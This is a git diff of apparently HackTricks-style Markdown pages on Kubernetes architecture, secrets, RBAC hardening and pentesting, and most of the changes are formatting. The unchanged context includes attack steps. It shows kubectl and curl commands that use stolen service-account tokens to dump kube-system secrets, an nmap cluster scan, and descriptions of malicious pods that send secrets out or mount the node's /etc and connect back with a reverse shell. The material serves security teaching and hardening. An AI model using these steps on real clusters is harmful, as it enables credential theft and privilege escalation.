are connected** to the same service. \ + When a **service** is **created** you can find the endpoints of each service running` kubectl get endpoints` -![](../../.gitbook/assets/image%20%28467%29.png) +![](<../../.gitbook/assets/image (467) (1).png>) -* **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods \(through API server\). The kubelet doesn’t manage containers that were not created by Kubernetes. -* **Kube-proxy**: is the service in charge of the communications \(services\) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors. +* **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes. +* **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors. * **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well. * **Master process:** * **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed. * **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod. * **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API. - * **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters \(each change is logged here\). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred \(available resourced of the nodes, number of pods running...\) + * **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...) * **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack. -Note that as the might be several nodes \(running several pods\), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized. +Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized. #### Volumes: @@ -41,11 +42,11 @@ When a pod creates data that shouldn't be lost when the pod disappear it should #### Other configurations: -* **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services \(pods\). Note that this is not the recommended place to save credentials! +* **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials! * **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials. -* **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** \(number of same pods replicated\), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run. +* **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run. * **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**. -* **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application. +* **Ingress**: This is the configuration that is use to** expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application. * If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services. * A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed. * When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter. @@ -68,7 +69,7 @@ When a pod creates data that shouldn't be lost when the pod disappear it should **Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/). -```text +``` $ minikube start 😄 minikube v1.19.0 on Ubuntu 20.04 ✨ Automatically selected the virtualbox driver. Other choices: none, ssh @@ -140,14 +141,14 @@ kubectl apply -f deployment.yml ### YAML configuration files examples -Each configuration file has 3 parts: **metadata**, **specification** \(what need to be launch\), **status** \(desired state\). +Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state).\ Inside the specification of the deployment configuration file you can find the template defined with a new configuration structure defining the image to run: -![](../../.gitbook/assets/image%20%28458%29%20%281%29%20%281%29.png) +![](<../../.gitbook/assets/image (458) (1) (1).png>) -#### Example of Deployment + Service declared in the same configuration file \(from [here](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)\) +#### Example of Deployment + Service declared in the same configuration file (from [here](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)) -As a service usually is related to one deployment it's possible to declare both in the same configuration file \(the service declared in this config is only accessible internally\): +As a service usually is related to one deployment it's possible to declare both in the same configuration file (the service declared in this config is only accessible internally): ```yaml apiVersion: apps/v1 @@ -198,7 +199,7 @@ spec: #### Example of external service config -This service will be accessible externally \(check the `nodePort` and `type: LoadBlancer` attributes\): +This service will be accessible externally (check the `nodePort` and `type: LoadBlancer` attributes): ```yaml --- @@ -243,7 +244,7 @@ spec: #### Example of secrets config file -Note how the password are encoded in B64 \(which isn't secure!\) +Note how the password are encoded in B64 (which isn't secure!) ```yaml apiVersion: v1 @@ -258,7 +259,7 @@ data: #### Example of ConfigMap -A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with \(this pod will be executing a mongodb\): +A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with (this pod will be executing a mongodb): ```yaml apiVersion: v1 @@ -294,7 +295,7 @@ spec: #### Example of volume config -You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes). +You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\ **Note that volumes aren't inside namespaces** ### Namespaces @@ -305,7 +306,7 @@ Namespaces provide a scope for names. Names of resources need to be unique withi There are 4 namespaces by default if you are using minikube: -```text +``` kubectl get namespace NAME STATUS AGE default Active 1d @@ -325,7 +326,7 @@ kubectl create namespace my-namespace ``` {% hint style="info" %} -Note that most Kubernetes resources \(e.g. pods, services, replication controllers, and others\) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace: +Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace: ```bash kubectl api-resources --namespaced=true #In a namespace @@ -341,19 +342,21 @@ kubectl config set-context --current --namespace= ### Helm -Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. +Helm is the **package manager **for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. -```text +``` helm search ``` Helm is also a template engine that allows to generate config files with variables: -![](../../.gitbook/assets/image%20%28465%29.png) +![](<../../.gitbook/assets/image (462).png>) ## Pentesting Kubernetes from the outside -{% page-ref page="pentesting-kubernetes-from-the-outside.md" %} +{% content-ref url="pentesting-kubernetes-from-the-outside.md" %} +[pentesting-kubernetes-from-the-outside.md](pentesting-kubernetes-from-the-outside.md) +{% endcontent-ref %} ## Vulnerabilities and misconfigurations @@ -361,7 +364,9 @@ Helm is also a template engine that allows to generate config files with variabl If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**: -{% page-ref page="enumeration-from-a-pod.md" %} +{% content-ref url="enumeration-from-a-pod.md" %} +[enumeration-from-a-pod.md](enumeration-from-a-pod.md) +{% endcontent-ref %} ### Kubernetes secrets @@ -371,22 +376,22 @@ Secrets might be things like: * API, SSH Keys. * OAuth tokens. -* Credentials, Passwords \(plain text or b64 + encryption\). +* Credentials, Passwords (plain text or b64 + encryption). * Information or comments. * Database connection code, strings… . There are different types of secrets in Kubernetes -| Builtin Type | Usage | -| :--- | :--- | -| **Opaque** | **arbitrary user-defined data \(Default\)** | -| kubernetes.io/service-account-token | service account token | -| kubernetes.io/dockercfg | serialized ~/.dockercfg file | -| kubernetes.io/dockerconfigjson | serialized ~/.docker/config.json file | -| kubernetes.io/basic-auth | credentials for basic authentication | -| kubernetes.io/ssh-auth | credentials for SSH authentication | -| kubernetes.io/tls | data for a TLS client or server | -| bootstrap.kubernetes.io/token | bootstrap token data | +| Builtin Type | Usage | +| ----------------------------------- | ----------------------------------------- | +| **Opaque** | **arbitrary user-defined data (Default)** | +| kubernetes.io/service-account-token | service account token | +| kubernetes.io/dockercfg | serialized \~/.dockercfg file | +| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file | +| kubernetes.io/basic-auth | credentials for basic authentication | +| kubernetes.io/ssh-auth | credentials for SSH authentication | +| kubernetes.io/tls | data for a TLS client or server | +| bootstrap.kubernetes.io/token | bootstrap token data | {% hint style="info" %} **The Opaque type is the default one, the typical key-value pair defined by users.** @@ -396,7 +401,7 @@ There are different types of secrets in Kubernetes ![](https://sickrov.github.io/media/Screenshot-164.jpg) -The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` __and __`SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions. +The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME`_ _and_ _`SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions. {% code title="secretpod.yaml" %} ```yaml @@ -450,7 +455,7 @@ kubectl exec -it secretpod -- bash env | grep SECRET && cat /etc/foo/my-group/my-username && echo ``` -### Secrets in etcd +### Secrets in etcd **etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd: @@ -476,7 +481,7 @@ ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key #### Adding encryption to the ETCD -By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) +By default all the secrets are** stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) {% code title="encryption.yaml" %} ```yaml @@ -524,48 +529,46 @@ Scroll down in the volumeMounts to hostPath: Data is encrypted when written to etcd. After restarting your `kube-apiserver`, any newly created or updated secret should be encrypted when stored. To check, you can use the `etcdctl` command line program to retrieve the contents of your secret. -1. Create a new secret called `secret1` in the `default` namespace: +1. Create a new secret called `secret1` in the `default` namespace: - ```text - kubectl create secret generic secret1 -n default --from-literal=mykey=mydata - ``` + ``` + kubectl create secret generic secret1 -n default --from-literal=mykey=mydata + ``` +2. Using the etcdctl commandline, read that secret out of etcd: -2. Using the etcdctl commandline, read that secret out of etcd: - - `ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C` - - where `[...]` must be the additional arguments for connecting to the etcd server. + `ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C` + where `[...]` must be the additional arguments for connecting to the etcd server. 3. Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data. -4. Verify the secret is correctly decrypted when retrieved via the API: +4. Verify the secret is correctly decrypted when retrieved via the API: - ```text - kubectl describe secret secret1 -n default - ``` + ``` + kubectl describe secret secret1 -n default + ``` - should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret. + should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret. **Since secrets are encrypted on write, performing an update on a secret will encrypt that content:** -```text +``` kubectl get secrets --all-namespaces -o json | kubectl replace -f - ``` #### Final tips: * Try not to keep secrets in the FS, get them from other places. -* Check out [https://www.vaultproject.io/](https://www.vaultproject.io/) for add more protection to your secrets. -* [https://kubernetes.io/docs/concepts/configuration/secret/\#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks) -* [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes\_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm) +* Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets. +* [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks) +* [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm) ## RBAC Hardening -Kubernetes has an **authorization module named Role-Based Access Control** \([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)\) that helps to set utilization permissions to the API server. +Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that helps to set utilization permissions to the API server.\ The RBAC table is constructed from “**Roles**” and “**ClusterRoles**.” The difference between them is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, ClusterRoles can also grant access to: -* cluster-scoped resources \(like nodes\). -* non-resource endpoints \(like /healthz\). -* namespaced resources \(like Pods\), across all namespaces. +* cluster-scoped resources (like nodes). +* non-resource endpoints (like /healthz). +* namespaced resources (like Pods), across all namespaces. Example of **Role** **configuration**: @@ -585,7 +588,7 @@ Example of **ClusterRole** configuration: For example you can use a **ClusterRole** to allow a particular user to run: -```text +``` kubectl get pods --all-namespaces ``` @@ -603,7 +606,7 @@ rules: **Role and ClusterRole Binding concept** -A **role binding** **grants the permissions defined in a role to a user or set of users**. It holds a list of subjects \(users, groups, or service accounts\), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**. +A **role binding** **grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**. **RoleBinding** example: @@ -651,9 +654,9 @@ roleRef: RBAC’s permission is built from three individual parts: -1. **Role\ClusterRole ­–** The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). The verb is the action that will apply on the resource. -2. **Subject \(User, Group or ServiceAccount\) –** The object that will receive the permissions. -3. **RoleBinding\ClusterRoleBinding –** The connection between Role\ClusterRole and the subject. +1. **Role\ClusterRole ­– **The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). The verb is the action that will apply on the resource. +2. **Subject (User, Group or ServiceAccount) – **The object that will receive the permissions. +3. **RoleBinding\ClusterRoleBinding – **The connection between Role\ClusterRole and the subject. This is what it will look like in a real cluster: @@ -661,9 +664,9 @@ This is what it will look like in a real cluster: “**Fine-grained** role bindings **provide greater security**, but **require more effort to administrate**." -From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. ****But to enable RBAC you can use something like: +From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**.** **But to enable RBAC you can use something like: -```text +``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` @@ -671,7 +674,7 @@ This is enabled by default. RBAC functions: * Restrict the access to the resources to users or ServiceAccounts. * An RBAC Role or ClusterRole contains rules that represent a set of permissions. -* Permissions are purely additive \(there are no “deny” rules\). +* Permissions are purely additive (there are no “deny” rules). * RBAC works with Roles and Bindings {% hint style="info" %} @@ -682,22 +685,24 @@ When configuring roles and permissions it's highly important to always follow th **To learn about Service Accounts Hardenig read the page:** -{% page-ref page="enumeration-from-a-pod.md" %} +{% content-ref url="enumeration-from-a-pod.md" %} +[enumeration-from-a-pod.md](enumeration-from-a-pod.md) +{% endcontent-ref %} ## Kubernetes API Hardening -It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment. -It's important to secure both the **access** \(**whitelist** origins to access the API Server and deny any otehr connection\) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) \(following the principle of **least** **privilege**\). And definitely **never** **allow** **anonymous** **requests**. +It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment.\ +It's important to secure both the **access** (**whitelist** origins to access the API Server and deny any otehr connection) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). And definitely **never** **allow** **anonymous** **requests**. -**Common Request process:** -User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. +**Common Request process:**\ +****User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. **Tips**: * Close ports. * Avoid Anonymous access. * NodeRestriction; No access from specific nodes to the API. - * [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/\#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) + * [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) * Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix. * And also, allows kubelets to add/remove/update these labels and label prefixes. * Ensure with labels the secure workload isolation. @@ -746,13 +751,13 @@ You should update your Kubernetes environment as frequently as necessary to have * Dependencies up to date. * Bug and security patches. -\*\*\*\*[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1\(Major\).20\(Minor\).3\(patch\) +****[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch) -**The best way to update a Kubernetes Cluster is \(from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**\):** +**The best way to update a Kubernetes Cluster is (from **[**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** * Upgrade the Master Node components following this sequence: - * etcd \(all instances\). - * kube-apiserver \(all control plane hosts\). + * etcd (all instances). + * kube-apiserver (all control plane hosts). * kube-controller-manager. * kube-scheduler. * cloud controller manager, if you use one. @@ -764,5 +769,3 @@ You should update your Kubernetes environment as frequently as necessary to have {% embed url="https://www.youtube.com/watch?v=X48VuDVv0do" %} - - diff --git a/pentesting/pentesting-kubernetes/enumeration-from-a-pod.md b/pentesting/pentesting-kubernetes/enumeration-from-a-pod.md index 9ac9ad5b..b29fb658 100644 --- a/pentesting/pentesting-kubernetes/enumeration-from-a-pod.md +++ b/pentesting/pentesting-kubernetes/enumeration-from-a-pod.md @@ -6,8 +6,8 @@ In a situation where you have managed to break into a Kubernetes Pod you could s Before continuing, if you don't know what is a service in Kubernetes I would suggest you to [**follow this link and read at least the information about Kubernetes architecture**](./#architecture)**.** -**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. -Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token \(JWT\), a method for representing claims securely between two parties. +**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\ +Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. Usually in the directory `/run/secrets/kubernetes.io/serviceaccount` or `/var/run/secrets/kubernetes.io/serviceaccount` you can find the files: @@ -39,14 +39,14 @@ If you don't know what is **RBAC**, [**read this section**](./#cluster-hardening ## Enumeration CheatSheet -To enumerate the environment you can upload the [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary and use it. Also, using the **service** **token** obtained before you can manually access some endpoints of the **API Server**. +To enumerate the environment you can upload the [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary and use it. Also, using the **service** **token** obtained before you can manually access some endpoints of the **API Server**.\ In order to find the the IP of the API service check the environment for a variable called `KUBERNETES_SERVICE_HOST`. ### Differences between `list` and `get` verbs With **`get`** permissions you can access the API: -```text +``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` @@ -61,7 +61,7 @@ GET /apis/apps/v1/deployments If you have the **`watch`** permission, you are allowed to execute these API requests: -```text +``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] @@ -69,7 +69,7 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -They open a streaming connection that returns you the full manifest of a Deployment whenever it changes \(or when a new one is created\). +They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created). {% hint style="danger" %} The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get` @@ -106,7 +106,7 @@ https://:/api/v1/namespaces/ {% tabs %} {% tab title="kubectl" %} -```text +``` ./kubectl get secrets -o yaml ./kubectl get secrets -o yaml -n custnamespace ``` @@ -142,13 +142,15 @@ for token in `./kubectl describe secrets -n kube-system | grep "token:" | cut -d **Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges: -{% page-ref page="hardening-roles-clusterroles.md" %} +{% content-ref url="hardening-roles-clusterroles.md" %} +[hardening-roles-clusterroles.md](hardening-roles-clusterroles.md) +{% endcontent-ref %} ### Get Current Context {% tabs %} {% tab title="Kubectl" %} -```text +``` kubectl config current-context ``` {% endtab %} @@ -158,7 +160,7 @@ kubectl config current-context {% tabs %} {% tab title="kubectl" %} -```text +``` ./kubectl get deployments ./kubectl get deployments -n custnamespace ``` @@ -179,7 +181,7 @@ https://:/api/v1/namespaces/custnamespace/deployments/ {% tabs %} {% tab title="kubectl" %} -```text +``` ./kubectl get pods ./kubectl get pods -n custnamespace ``` @@ -200,7 +202,7 @@ https://:/api/v1/namespaces/custnamespace/pods/ {% tabs %} {% tab title="kubectl" %} -```text +``` ./kubectl get services ./kubectl get services -n custnamespace ``` @@ -221,7 +223,7 @@ https://:/api/v1/namespaces/custnamespace/services/ {% tabs %} {% tab title="kubectl" %} -```text +``` ./kubectl get nodes ``` {% endtab %} @@ -238,7 +240,7 @@ https://:/api/v1/nodes/ {% tabs %} {% tab title="kubectl" %} -```text +``` ./kubectl get daemonsets ``` {% endtab %} @@ -255,7 +257,7 @@ https://:/apis/extensions/v1beta1/namespaces/default/da {% tabs %} {% tab title="kubectl" %} -```text +``` ./kubectl get all ``` {% endtab %} @@ -267,7 +269,9 @@ https://:/apis/extensions/v1beta1/namespaces/default/da ![](https://sickrov.github.io/media/Screenshot-161.jpg) -{% page-ref page="../../linux-unix/privilege-escalation/docker-breakout.md" %} +{% content-ref url="../../linux-unix/privilege-escalation/docker-breakout/" %} +[docker-breakout](../../linux-unix/privilege-escalation/docker-breakout/) +{% endcontent-ref %} ### Escaping from the pod @@ -328,7 +332,7 @@ Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Pa By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod. -#### Create a sidecar proxy app +#### Create a sidecar proxy app Create your .yaml @@ -381,15 +385,15 @@ As you are inside the Kubernetes environment, if you cannot escalate privileges **For this purpose, you can try to get all the services of the kubernetes environment:** -```text +``` kubectl get svc --all-namespaces ``` -![](../../.gitbook/assets/image%20%28471%29.png) +![](<../../.gitbook/assets/image (466).png>) ### Scanning -The following Bash script \(taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)\) will install and scan the IP ranges of the kubernetes cluster: +The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster: ```bash sudo apt-get update @@ -411,5 +415,4 @@ nmap-kube-discover ## References -{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3" caption="" %} - +{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3" %} diff --git a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles.md b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles.md index ef88ef3f..5aeb07fb 100644 --- a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles.md +++ b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles.md @@ -22,9 +22,9 @@ rules: Giving a user permission to **access any resource can be very risky**. But, **which verbs** allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster: -* **resources: \["\*"\] verbs: \["create"\]** – This privilege can **create any resource** in the cluster, such as **pods**, roles, etc. An attacker might abuse it to **escalate privileges**. An example of this can be found in the **“Pods Creation” section**. -* **resources: \["\*"\] verbs: \["list"\]** – The ability to list any resource can be used to **leak other users’ secrets** and might make it easier to **escalate privileges**. An example of this is located in the **“Listing secrets” section.** -* **resources: \["\*"\] verbs: \["get"\]-** This privilege can be used to **get secrets from other service accounts**. +* **resources: \["\*"] verbs: \["create"]** – This privilege can **create any resource** in the cluster, such as **pods**, roles, etc. An attacker might abuse it to **escalate privileges**. An example of this can be found in the **“Pods Creation” section**. +* **resources: \["\*"] verbs: \["list"]** – The ability to list any resource can be used to **leak other users’ secrets **and might make it easier to **escalate privileges**. An example of this is located in the **“Listing secrets” section.** +* **resources: \["\*"] verbs: \["get"]-** This privilege can be used to **get secrets from other service accounts**. ```yaml apiVersion: rbac.authorization.k8s.io/v1 @@ -44,7 +44,7 @@ The **listing secrets privilege** is a strong capability to have in the cluster. ![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_role.png) -An attacker that gains **access to** _**list secrets**_ ****in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace: +An attacker that gains **access to **_**list secrets**_** **in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ @@ -56,9 +56,9 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**. -![](../../.gitbook/assets/image%20%28469%29.png) +![](<../../.gitbook/assets/image (463).png>) -Here we have a default privileged account named _bootstrap-signer_ with permissions to list all secrets. +Here we have a default privileged account named _bootstrap-signer _with permissions to list all secrets. ![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebinding_with_cluster_admin_clusterrole-1024x545.png) @@ -83,17 +83,17 @@ spec: hostNetwork: true ``` -In the previous image note how the _bootstrap-signer service is used in_ `serviceAccountname`_._ +In the previous image note how the _bootstrap-signer service is used in _`serviceAccountname`_._ So just create the malicious pod and expect the secrets in port 6666: -![](../../.gitbook/assets/image%20%28470%29.png) +![](<../../.gitbook/assets/image (464).png>) ## **Pod Creationv2** Having Pod create permissions over kube-system you can also be able to mount directories from the node hosting the pods with a pod template like the following one: -{% code title="steal\_etc.yaml" %} +{% code title="steal_etc.yaml" %} ```yaml apiVersion: v1 kind: Pod @@ -127,7 +127,7 @@ And capturing the reverse shell you can find the `/etc` directory of the node mo Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.** -Suppose we have the **permission to create a Daemonset** and we create the following YAML file. This YAML file is configured to do the same steps we mentioned in the “create pods” section. +Suppose we have the **permission to create a Daemonset **and we 